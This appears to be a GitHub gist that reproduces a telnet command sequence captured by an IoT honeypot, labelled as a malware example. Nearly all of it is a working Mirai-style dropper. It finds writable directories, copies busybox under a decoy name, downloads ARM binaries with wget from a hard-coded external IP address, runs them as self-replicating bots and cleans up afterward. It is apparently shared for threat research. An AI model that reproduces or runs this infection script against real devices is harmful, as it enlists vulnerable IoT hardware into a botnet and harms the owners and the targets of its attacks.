/Shrew_malware_example_1
Created Oct 25, 2019
Catched by Telnet-Iot-Honeypot
| enable | |
| system | |
| shell | |
| sh | |
| >/tmp/.ptmx && cd /tmp/ | |
| >/var/.ptmx && cd /var/ | |
| >/dev/.ptmx && cd /dev/ | |
| >/mnt/.ptmx && cd /mnt/ | |
| >/var/run/.ptmx && cd /var/run/ | |
| >/var/tmp/.ptmx && cd /var/tmp/ | |
| >/.ptmx && cd / | |
| >/dev/netslink/.ptmx && cd /dev/netslink/ | |
| >/dev/shm/.ptmx && cd /dev/shm/ | |
| >/bin/.ptmx && cd /bin/ | |
| >/etc/.ptmx && cd /etc/ | |
| >/boot/.ptmx && cd /boot/ | |
| >/usr/.ptmx && cd /usr/ | |
| /bin/busybox rm -rf ESE-GO-VIC unstableisbotnetgod | |
| /bin/busybox cp /bin/busybox ESE-GO-VIC; >ESE-GO-VIC; /bin/busybox chmod 777 ESE-GO-VIC; /bin/busybox ESEGOVIC | |
| /bin/busybox cat /bin/busybox || while read i; do echo $i; done < /bin/busybox | |
| /bin/busybox ESEGOVIC | |
| /bin/busybox cat /proc/cpuinfo || while read i; do echo $i; done < /proc/cpuinfo; /bin/busybox ESEGOVIC | |
| /bin/busybox wget; /bin/busybox tftp; /bin/busybox ESEGOVIC | |
| /bin/busybox wget http://185.112.249.22:80/.xxshit/4_20_gang.arm7 -O - > ESE-GO-VIC; /bin/busybox chmod 777 ESE-GO-VIC; /bin/busybox ESEGOVIC | |
| ./ESE-GO-VIC selfrep.arm7; /bin/busybox CIVOGESE | |
| /bin/busybox rm -rf unstableisbotnetgod ESE-GO-VIC | |
| /bin/busybox cp /bin/busybox ESE-GO-VIC; >ESE-GO-VIC; /bin/busybox chmod 777 ESE-GO-VIC; /bin/busybox ESEGOVIC | |
| /bin/busybox wget; /bin/busybox tftp; /bin/busybox ESEGOVIC | |
| /bin/busybox wget http://185.112.249.22:80/.xxshit/4_20_gang.arm -O - > ESE-GO-VIC; /bin/busybox chmod 777 ESE-GO-VIC; /bin/busybox ESEGOVIC | |
| ./ESE-GO-VIC selfrep.arm; /bin/busybox CIVOGESE | |
| /bin/busybox rm -rf unstableisbotnetgod; >ESE-GO-VIC; /bin/busybox ESEGOVIC |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment